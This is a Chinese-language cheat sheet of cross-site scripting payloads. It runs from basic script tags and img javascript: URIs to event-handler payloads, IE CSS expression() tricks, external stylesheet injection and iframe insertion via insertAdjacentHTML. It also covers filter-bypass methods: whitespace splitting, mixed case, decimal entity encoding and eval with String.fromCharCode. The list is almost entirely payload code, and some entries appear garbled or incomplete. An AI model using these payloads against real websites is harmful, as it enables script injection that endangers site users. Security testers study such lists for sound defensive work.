xss测试代码

1.标准的xss漏洞测试代码
<script>alert('xss')</script>

2.img图片标记属性跨站攻击代码
<img src="javascript:alert(/xss/)"></img>

<img dynsrc="javascript:alert('xss')">

3.无需"<>"，利用html标记事件属性跨站
(1)利用已知事件
<img src="" onerror=alert("xss")>

<marquee style="background-color:red" onstart=alert('xss')">文字</marquee>

<div style="background-color:red" onmouseenter="alert('monyer')">123456</div>

<div style="background-color:red" onmouseleave="alert('monyer')">123456</div>

2.构造事件进行攻击

<img src="#" style="Xss:expression(alert(/xss/));"> 很变态的

<div src="#" style="Xss:expression(alert(/xss/));">

<font style="Xss:expression(alert(/xss/));">

<li style="Xss:expression(alert(/xss/));">
<table style="Xss:expression(alert(/xss/));">
<a style="Xss:expression(alert(/xss/));">
<b style="Xss:expression(alert(/xss/));">
<ul style="Xss:expression(alert(/xss/));">
<marquee style="Xss:expression(alert(/xss/));">
<style>input { left:expression(alert('xss'))} </style>
<div style="{ left:expression(alert('xss'))}">
<div style="{ left:exp/* */ression(alert('xss'))}">
<div style="{ left:\0065\0078pression alert('xss'))}">
<div style="{ left:expression(alert('xss'))}">
<div style="{ left:xpression(alert('xss'))}">
<div style="{ left:expRessioN(alert('xss'))}">

3.外接样式表漏洞跨站
<link rel="stylesheet" type="text/css" href="www.test.com/test.css"></link>

@import "http://www.test.com/test.css";

样式表css中的内容为 body{background-image:url(javascript:alert('xss'))}

4.利用insertAdjacentHTML方法
<b style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></b>

<a style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></a>

<table style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></table>

<li style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></li>

<font style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.baidu.com/></iframe>'))"></font>

5.用javascript换行与空格突破过滤
<img src="j   ava   script:al   er   t('xss')">
用tab键产生的空格

<img src="j   ava
scri
pt:al   er   t('xss')">

<img src="#"/**/onerror=alert(/xss/) width=100>

6.转代码，绕过滤
（1）.大小写转换
<img src="JaVaSCRiPt:alert(/xss/)"></img>
<ScRipT>alert('xss')</SCrIPt>

（2）进制编码转换(啊D编码工具转换)
<img src="Javascript:alert('xss')"> 转换为

&#10进制转换
<img src="&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41">

&#;10进制转换
<img src="Javascript:alert('xss')
">

（3）空格与回车符转换
<img src="Jav	ascript:alert('xss')">
<img src="Jav
ascript:alert('xss')">
<img src="Javascript:alert('xss')">

	是空格 
和是回车

7.JS还原函数法
<img src="Javascript:alert('xss')">
转换为
<img src="Javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">